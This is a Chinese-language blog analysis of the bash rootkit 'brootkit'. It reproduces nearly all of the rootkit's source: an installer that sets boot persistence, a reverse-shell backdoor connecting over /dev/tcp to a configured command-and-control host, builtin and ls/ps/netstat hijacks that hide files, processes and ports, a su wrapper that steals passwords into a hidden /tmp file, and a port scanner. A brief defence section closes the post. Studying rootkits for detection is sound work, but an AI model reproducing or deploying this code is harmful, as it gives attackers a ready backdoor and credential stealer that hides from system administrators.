目录
1. Rootkit相关知识 2. BROOTKIT源码分析 3. 关键技术点 4. 防御策略
1. Rootkit相关知识
关于rootkit的相关其他知识,请参阅以下文章
http://www.cnblogs.com/LittleHann/p/3918030.html http://www.cnblogs.com/LittleHann/p/3910696.html http://www.cnblogs.com/LittleHann/p/3879961.html http://www.cnblogs.com/LittleHann/p/3879118.html http://www.cnblogs.com/LittleHann/p/3870974.html
2. BROOTKIT源码分析
0x1: br.conf
在安装BROOKIT之前,需要先对br.conf进行配置(如果是freebsd,则需要配置brsh.conf)
brootkit config file. #the ports will be hide: port1,port2,...,portn. HIDE_PORT 8080,8899 #the files will be hide: file1,file2,...,filen. HIDE_FILE br.conf,bashbd.sh,brootkit,.bdrc,brdaemon #the process will be hide: process1,process2,...,processn. HIDE_PROC bashbd,brootkit,pty.spawn,brdaemon #the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c) REMOTE_HOST 10.97.235.12 #the connect back host port. REMOTE_PORT 8080 #the connect backdoor base sleep time. SLEEP_TIME 60
0x2: install.sh
#!/bin/bash BR_ROOTKIT_PATH="/usr/include/..." declare br_os_type=0 declare br_privilege=1 declare -a br_shell=() declare br_shell_idx=0 declare -a br_user=() function br_install_rootkit() { cp brootkit.sh /etc/profile.d/emacs.sh #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh } function br_hookhup() { : } function br_check_shell() { local idx line user shell while read line do # 从/etc/passwd的一行中读取用户名 user=`echo $line | cut -d ":" -f 1` # 从/etc/passwd的一行中读取当前用户对应的SHELL终端 shell=`echo $line | cut -d ":" -f 7` if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then br_user[br_shell_idx]=$user br_shell[br_shell_idx]=$shell ((br_shell_idx++)) fi done < /etc/passwd [ ${#br_user} -eq 0 ] && echo "no users has bash/sh environment." && exit for ((idx = 0; idx < $br_shell_idx; idx++)) do echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment." done } function br_check_privilege() { [ $UID -eq 0 -o $EUID -eq 0 ] && br_privilege=0 || br_privilege=1 } function br_set_rootkit_path() { if [ $br_privilege -eq 1 ]; then BR_ROOTKIT_PATH="/home/$USER/..." else echo "install brootkit using root privilege." fi } function br_check_os_type() { local line line=`head -n 1 /etc/issue` if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then br_os_type=1 elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then br_os_type=2 elif echo $line|grep "[Uu]buntu" >/dev/null; then br_os_type=3 elif echo $line|grep "[Dd]ebian" >/dev/null; then br_os_type=4 elif echo $line|grep "[Ff]edora" >/dev/null; then br_os_type=5 else echo -e "target os type - $line is not supported." exit 0 fi echo -e "target os type - $line" #echo $br_os_type } function br_centos_install() { local idx cp brdaemon.sh /etc/rc.d/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done } function br_ubuntu_install() { local idx cp brdaemon.sh /etc/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon } function br_debian_install() { cp brdaemon.sh /etc/init.d/brdaemon update-rc.d -f brdaemon start 20 2 3 4 5 } function br_fedora_install() { local idx cp brdaemon.sh /etc/rc.d/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done } function br_creat_home() { mkdir -p $BR_ROOTKIT_PATH -m 0777 [ $? -eq 1 ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下 cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH [ $? -eq 1 ] && echo "copy brootkit failed." && exit chmod 777 $BR_ROOTKIT_PATH } function br_install_backdoor() { if ! type nohup >/dev/null; then nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 [ $? -eq 1 ] && echo "install backdoor failed." && exit else trap br_hookhup SIGHUP $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 & [ $? -eq 1 ] && echo "install backdoor failed." && exit fi } function main() { # 检测操作系统类型 br_check_os_type # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端 br_check_shell # 检测当前是否是特权(root、sduo)用户 br_check_privilege # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/... br_set_rootkit_path # 创建B、初始化ROOTKIT的HOME目录 br_creat_home # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh br_install_backdoor # 设置隐蔽的常驻自启动后门 if [ $br_privilege -eq 0 ]; then case $br_os_type in 1|2) # /etc/rc.d/init.d/brdaemon br_centos_install ;; 3) # /etc/init.d/brdaemon br_ubuntu_install ;; 4) # /etc/init.d/brdaemon br_debian_install ;; 5) # /etc/rc.d/init.d/brdaemon br_fedora_install ;; esac br_install_rootkit fi if [ $? -eq 1 ]; then echo "install brootkit failed." exit else echo "install brootkit successful." fi } main
0x3: bashbd.sh
BROOTKIT的主程序,负责解析载入配置文件,并通过Linux原生提供的特殊Socket设备连接主控端(C&c),即所谓的"肉鸡上线"
#!/bin/bash declare BR_ROOTKIT_PATH function br_set_rootkit_path() { if [ $UID -eq 0 -o $EUID -eq 0 ]; then BR_ROOTKIT_PATH="/usr/include/..." else BR_ROOTKIT_PATH="/home/$USER/..." fi } function br_connect_backdoor() { local target_ip=$br_remote_host local target_port=$br_remote_port local sleep_time=$br_sleep_time while [ 1 ] do MAX_ROW_NUM=`stty size | cut -d " " -f 1` MAX_COL_NUM=`stty size | cut -d " " -f 2` { PS1=‘[\A j\j \[email protected]\h:t\l \w]\$‘;export PS1 exec 9<> /dev/tcp/$target_ip/$target_port [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 if type python >/dev/null;then export MAX_ROW_NUM MAX_COL_NUM python -c ‘import pty; pty.spawn("/bin/bash")‘ else /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i fi }& wait # 通过sleep保持通道联通 sleep $((RANDOM%sleep_time+sleep_time)) done } br_set_rootkit_path # 运行$BR_ROOTKIT_PATH/brconfig.sh,加载配置文件 . $BR_ROOTKIT_PATH/brconfig.sh # 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数,并保存到本地变量中 br_load_config $BR_ROOTKIT_PATH/br.conf # 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现 br_connect_backdoor
Relevant Link:
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
0x4: brconfig.sh
负责解析加载配置文件的SHELL文件
#!/bin/bash declare -a br_hide_port declare -a br_hide_file declare -a br_hide_proc declare -a br_remote_host declare -a br_remote_port declare br_sleep_time function br_load_config() { local arg1 arg2 line while read line do [ "${line:0:1}" == "#" -a -z "$line" ] && continue arg1=`echo $line | cut -d " " -f 1` arg2=`echo $line | cut -d " " -f 2` case $arg1 in "HIDE_PORT") br_hide_port=$arg2;; "HIDE_FILE") br_hide_file=$arg2;; "HIDE_PROC") br_hide_proc=$arg2;; "REMOTE_HOST") br_remote_host=$arg2;; "REMOTE_PORT") br_remote_port=$arg2;; "SLEEP_TIME") br_sleep_time=$arg2;; esac done < $1 } function display_array() { declare -a arg_tmp=$1 local arg old_ifs old_ifs=$IFS; IFS="," for arg in ${arg_tmp[@]} do echo $arg done IFS=$old_ifs } function br_display_config() { echo -e "HIDE_PORT:" display_array $br_hide_port echo -e "HIDE_FILE:" display_array $br_hide_file echo -e "HIDE_PROC:" display_array $br_hide_proc echo -e "REMOTE_HOST:" display_array $br_remote_host echo -e "REMOTE_PORT:" display_array $br_remote_port echo -e "SLEEP_TIME:" echo $br_sleep_time }
0x5: brscan.sh
基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描
#!/bin/bash declare br_remote_host="localhost" declare -a br_ports declare -a br_open_ports declare br_port_num=0 declare br_curr_port_num=0 declare br_open_port_num=0 declare br_thread_num=0 declare br_timeout=2 declare br_logfile="brscan.log" declare total_run_time declare max_row_num declare -a playx=(‘/‘ ‘|‘ ‘\\‘ ‘-‘) declare playx_len=4 declare max_col_num=64 declare base_row=0 declare base_col=1 declare cur_col=2 declare total_port=10 declare cur_port=0 function br_run_play() { local i x y tmp_col tmp_col=$((br_curr_port_num * max_col_num / br_port_num)) i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) for ((i = 1; i < $tmp_col; i++)) do y=$((base_col+i)) [ $y -gt $max_col_num ] && break echo -ne "\033[${x};${y}H>\033[?25l" done } function br_play_init() { local x y i i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) echo -ne "\033[${x};${base_col}H\033[33m[\033[0m" y=$((max_col_num+1)) echo -ne "\033[${x};${y}H\033[33m]\033[0m" } function compute_run_time() { local day hour min rtime day=$(($1/3600/24)) hour=$(($1/3600)) min=$(($1/60)) if [ $min -eq 0 ]; then sec=$(($1%60)) total_run_time="$sec s" else if [ $hour -eq 0 ]; then sec=$(($1%60)) total_run_time="$min m $sec s" else if [ $day -eq 0 ]; then tmp=$(($1%3600)) min=$(($tmp/60)) sec=$(($tmp%60)) total_run_time="$hour h $min m $sec s" else # 86400 = 3600 * 24 tmp=$(($1%86400)) hour=$(($tmp/3600)) tmp1=$(($tmp%3600)) min=$(($tmp1/60)) sec=$(($tmp1%60)) total_run_time="$day d $hour h $min m $sec s" fi fi fi } function get_run_time() { local run_count local_hz run_time local start_time curr_time if [ -d "/proc/$1" ]; then run_count=`cat /proc/$1/stat | cut -d " " -f 22` else return 0 fi local_hz=`getconf CLK_TCK` start_time=$(($run_count/$local_hz)) curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1` run_time=$((curr_time-start_time)) return $run_time } function br_show_open_ports() { local x y i get_run_time $$ run_time=$? compute_run_time $run_time i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) y=$((max_col_num+3)) printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" $br_curr_port_num $br_port_num x=$((x+2)); y=1 printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" $br_remote_host } # $1 => remote host # $2 => remote port # $3 => thread_num function thread_scan() { local tport pid pidfile sock_fd local i j k m=0 run_time x mkdir -p .scan for ((i = 0; i < $3; i++)) do { let "sock_fd=$2+$i" let "j=$2+$i+3" /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]} }& let "k=$2+$i" x=$((m+3)) if [ $x -ge $max_row_num ]; then m=0;x=3 else ((m++)) fi printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" $i $! ${br_ports[$k]} echo ${br_ports[$k]} > ".scan/$!" [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++)) done sleep $br_timeout exec 2>&- for pid in `jobs -p` do get_run_time $pid run_time=$? [ $run_time -eq 0 ] && continue if [ $run_time -ge $br_timeout ]; then kill -9 $pid >/dev/null 2>&1 rm -f ".scan/$pid" fi done for ((i = 0; i < $3; i++)) do let "sock_fd=$2+$i" if [ ! -s ${br_ports[$sock_fd]} ]; then for pid_file in `ls .scan` do tport=`cat ".scan/$pid_file"` if [ $tport -eq ${br_ports[$sock_fd]} ]; then br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]} ((br_open_port_num++)) fi done fi rm -f ${br_ports[$sock_fd]} done br_run_play br_show_open_ports rm -fr .scan } # $1 => remote host # $2 => thread_num function br_scan_port() { local i for ((i = 0; i < $br_port_num; i+=$br_thread_num)) do thread_scan $br_remote_host $i $br_thread_num done } function br_show_ports() { local i for ((i = 0; i < $br_port_num; i++)) do echo ${br_ports[$i]} done } function parse_port() { local start_port end_port port start_port=`echo $1 | cut -d "-" -f 1` end_port=`echo $1 | cut -d "-" -f 2` for ((port=$start_port; port <= $end_port; port++)) do br_ports[$br_port_num]=$port ((br_port_num++)) done ((br_port_num--)) } function br_parse_port() { declare -a ports local tmp_ifs port tmp_ifs=$IFS; IFS=‘,‘; ports=$1 for port in ${ports[@]} do if echo $port|grep -e ".*-.*" >/dev/null; then parse_port $port else br_ports[$br_port_num]=$port ((br_port_num++)) fi done IFS=$tmp_ifs } function br_show_arg() { echo -ne "\033[1;1H" echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num " echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m" } function br_scan_init() { echo -ne "\033[2J" MAX_ROW_NUM=`stty size|cut -d " " -f 1` MAX_COL_NUM=`stty size|cut -d " " -f 2` max_row_num=$((MAX_ROW_NUM-5)) } function br_scan_exit() { echo -e "\033[?25h" } function br_usage() { echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n" echo -e "option:" echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..." echo -e "-n\t\tthread num, defalut is 10" echo -e "-t\t\ttimeout, default is 30s" echo -e "-o\t\tresults write into log file, default is brscan.log" echo -e "-h\t\thelp information." echo -e "\nexp:" echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org" echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org" } function main() { if [ $# -eq 0 ]; then br_usage $0 exit 0 fi while getopts "p:n:t:o:h" arg do case $arg in p) # 解析用户输入的端口信息 br_parse_port $OPTARG ;; n) # 线程数 br_thread_num=$OPTARG ;; t) # 时间延时 br_timeout=$OPTARG ;; o) # 日志文件 br_logfile=$OPTARG ;; h) br_usage $0 exit 0 ;; ?) echo "unkown arguments." exit 1 ;; esac done shift $((OPTIND-1)) # 待扫描的远程主机IP br_remote_host=[email protected] [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num #br_show_ports # 扫描初始化 br_scan_init br_play_init # 显示扫描参数 br_show_arg br_scan_port br_scan_exit } main [email protected]
0x6: brootkit.sh
在全局范围定义了指令别名(alias)和实现函数
#!/bin/bash # Lightweight rootkit implemented by bash shell scripts v0.08 # # by wzt 2015 http://www.cloud-sec.org # #declare -r builtin #declare -r declare #declare -r set #declare -r fake_unset #declare -r type #declare -r typeset #unalias ls >/dev/null 2>&1 set +v BR_ROOTKIT_PATH="/usr/include/..." function abcdmagic() { : } function br_hide_engine() { declare -a brootkit_func=( "^typeset.*()|15" "^type.*()|27" "^su.*()|26" "^reset_ps.*()|8" "^reset_netstat.*()|8" "^reset_ls.*()|8" "^reset_command.*()|42" "^ps.*()|14" "^netstat.*()|14" "^max_file_length.*()|9" "^ls.*()|64" "^fake_unset.*()|10" "^fake_command.*()|12" "^display_array.*()|11" "^dir.*()|3" "^declare.*()|41" "^command*()|39" "^builtin.*()|19" "^br_load_config.*()|28" "^br_display_config.*()|14" "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5" "^/bin/ps.*()|5" "^/bin/netstat.*()|5" "^/bin/ls.*()|5" "^br_hide_file=|5" "^set.*()|19" "^br_hide_engine.*()|30" ) local func_line br_func func_name func_num echo "$1" >.br.tmp for br_func in ${brootkit_func[*]} do func_name=`echo $br_func | cut -d "|" -f 1` func_num=`echo $br_func | cut -d "|" -f 2` #echo $func_name $func_num func_line=`grep -n "$func_name" .br.tmp| awk -F: {‘print $1‘}` #echo $func_line sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1 done cat .br.tmp; rm -f .br.tmp } function builtin() { local fake_a unset command case $1 in "declare"|"set"|"unset"|"command"|"type"|"typeset") fake_a="$(command builtin $1 $2)" br_hide_engine "$fake_a" reset_command return ;; "builtin") echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support." reset_command return ;; *) command builtin $1 $2 reset_command ;; esac } function declare() { local fake_a unset command case $1 in "") fake_a="$(command declare $1 $2)" br_hide_engine "$fake_a" reset_command return ;; "-f"|"-F") fake_a="$(command declare $1 $2)" fake_b=${fake_a/\/bin\/ls?()*/} echo -n "$fake_b" reset_command return ;; *) command declare $1 $2 reset_command return ;; esac } function typeset() { local fake_a unset command case $1 in ""|"-f"|"-F") fake_a="$(command declare $1 $2)" br_hide_engine "$fake_a" reset_command return ;; *) command typeset $1 $2 reset_command return ;; esac } function type() { case $1 in "builtin"|"declare"|"set"|"unset"|"type"|"typeset") echo "$1 is a shell builtin" return ;; "dir") echo "dir is /usr/bin/dir" return ;; "ls") echo "ls is aliased to ls --color=tty" return ;; "ps") echo "ps is /bin/ps" return ;; "netstat") echo "netstat is hashed (/bin/netstat)" return ;; "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat") echo "$1 is $1" return ;; *) unset command command type $1 $2 reset_command return ;; esac } function set() { local fake_a unset command case $1 in "") fake_a="$(command set)" br_hide_engine "$fake_a" reset_command return ;; "-x"|"+x") reset_command return ;; *) echo $1 $2 command set $1 $2 reset_command return ;; esac } function fake_unset() { case $1 in "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset") echo "bash: syntax error, bash($BASH_VERSION) is not support." return ;; *) unset $1 $2 return ;; esac } function fake_command() { case $1 in "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset") echo "bash: syntax error, bash($BASH_VERSION) is not support." return ;; *) unset command command $1 $2 reset_command return ;; esac } function command() { case $1 in "builtin") builtin $2 $3 return ;; "declare") declare $2 $3 return ;; "set") set $2 $3 return ;; "unset") fake_unset $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; "type") type $2 $3 return ;; "typeset") typeset $2 $3 return ;; "command") fake_command $2 $3 return ;; *) unset command command $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; esac } function reset_command() { function command() { case $1 in "builtin") builtin $2 $3 return ;; "declare") declare $2 $3 return ;; "set") set $2 $3 return ;; "unset") fake_unset $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; "type") type $2 $3 return ;; "typeset") typeset $2 $3 return ;; "command") fake_command $2 $3 return ;; *) unset command command $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; esac } } function su() { local arg_list=("" "-" "-l" "--login" "-c" "--command" "--session-command" "-f" "--fast" "-m" "--preserve-environment" "-p" "-s" "--shell=SHELL") local flag=0 tmp_arg arg pass if [ $UID -eq 0 ]; then /bin/su $1; unset su ; return $? fi for arg in ${arg_list[@]} do [ "$1" = "$arg" ] && flag=1 done [ $# -eq 0 ] && flag=1 tmp_arg=$1;tmp_arg=${tmp_arg:0:1}; [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1 if [ $flag -ne 1 ];then /bin/su $1; return $? fi [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1` echo -ne "Password:\r\033[?25l" read -t 30 -s pass echo -ne "\033[K\033[?25h" /bin/su && unset su && echo $pass >> /tmp/... } unalias ls >/dev/null 2>&1 function max_file_length() { local tmp_file sum=0 n=0 for tmp_file in `/bin/ls [email protected]` do n=${#tmp_file} [ $n -gt $sum ] && sum=$n done return $sum } function ls() { local fake_file max_col_num file_format local hide_file hide_flag file_arg old_ifs local file_len=0 sum=0 n=0 display_mode=0 max_col_num=`stty size|cut -d " " -f 2` . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf for file_arg in [email protected] do if echo $file_arg|grep -q -e "^-.*l.*"; then display_mode=1; break fi done case $display_mode in 0) unset -f /bin/ls max_file_length [email protected] file_len=$? for fake_file in $(/bin/ls [email protected]) do hide_flag=0 old_ifs=$IFS; IFS="," for hide_file in ${br_hide_file[@]} do if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then hide_flag=1; break fi done IFS=$old_ifs [ $hide_flag -eq 1 ] && continue n=${#fake_file} ((sum=sum+n+file_len)) if [ $sum -gt $max_col_num ];then file_format="%-$file_len""s\n" printf $file_format $fake_file sum=0 else file_format="%-$file_len""s " printf $file_format $fake_file fi done [ $sum -le $max_col_num ] && echo "" reset_ls return ;; 1) unset -f /bin/ls fake_file=`/bin/ls [email protected]` old_ifs=$IFS; IFS="," for hide_file in ${br_hide_file[@]} do fake_file=`echo "$fake_file" | sed -e ‘/‘$hide_file‘/d‘` done IFS=$old_ifs echo "$fake_file" reset_ls return ;; esac } function dir() { /bin/ls [email protected] } function /usr/bin/dir() { unset -f /bin/ls /bin/ls [email protected] reset_ls } function reset_ls() { function /bin/ls() { unset -f /bin/ls /bin/ls [email protected] reset_ls } } function /bin/ls() { unset -f /bin/ls /bin/ls [email protected] reset_ls } function ps() { local proc_name hide_proc old_ifs . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf old_ifs=$IFS; IFS="," proc_name=`/bin/ps [email protected]` for hide_proc in ${br_hide_proc[@]} do proc_name=`echo "$proc_name" | sed -e ‘/‘$hide_proc‘/d‘` done echo "$proc_name" IFS=$old_ifs } function reset_ps() { function /bin/ps() { unset -f /bin/ps ps [email protected] reset_ps } } function /bin/ps() { unset -f /bin/ps ps [email protected] reset_ps } function netstat() { local hide_port tmp_port old_ifs . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf old_ifs=$IFS; IFS="," tmp_port=`/bin/netstat [email protected]` for hide_port in ${br_hide_port[@]} do tmp_port=`echo "$tmp_port" | sed -e ‘/‘$hide_port‘/d‘` done echo "$tmp_port" IFS=$old_ifs } function reset_netstat() { function /bin/netstat() { unset -f /bin/netstat netstat [email protected] reset_netstat } } function /bin/netstat() { unset -f /bin/netstat netstat [email protected] reset_netstat }
Relevant Link:
https://github.com/cloudsec/brootkit
3. 关键技术点
1. more hidable ability against admintrator or hids. 相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物",brootkit的安装和运行并没有造成系统产生很多"异常"的行为,/brootkit有种润物细无声的感觉,充分利用了系统原生提供的机制 1) Bash 2) /dev/[tcp、udp]网络socket特殊设备 3) /etc/profile.d/emac.sh默认自启动脚本 4) alias function劫持 2. su passwd thief. 3. hide file and directorys. 4. hide process. 5. hide network connections. 6. connect backdoor. 利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线 7. muilt thread port scanner. 8. http download.
4. 防御策略
BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接,如果直接从静态的角度来说很难检测出这个rootkit,或者准确地说是很难将brootkit和正常系统文件区分开来,但是从动态主防的角度是可以检测出brootkit的
1. 指令执行捕获 brootkit实现了文件隐藏、进程隐藏,但是黑客在系统上执行的指令依然会被捕获到,例如使用LD_PRELOAD Hook技术 2. 网络外连捕获 cat < /dev/tcp/www.baidu.com/80 exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat <&3 /* 这种网络外连请求好像不是走的socket connect渠道,目前未找到可行的事件捕获方法 */
Relevant Link:
http://tldp.org/LDP/abs/html/devref1.html#DEVTCP http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html http://blog.csdn.net/zhjutao/article/details/8622751 http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
Copyright (c) 2014 LittleHann All rights reserved
时间: 2024-10-14 12:08:22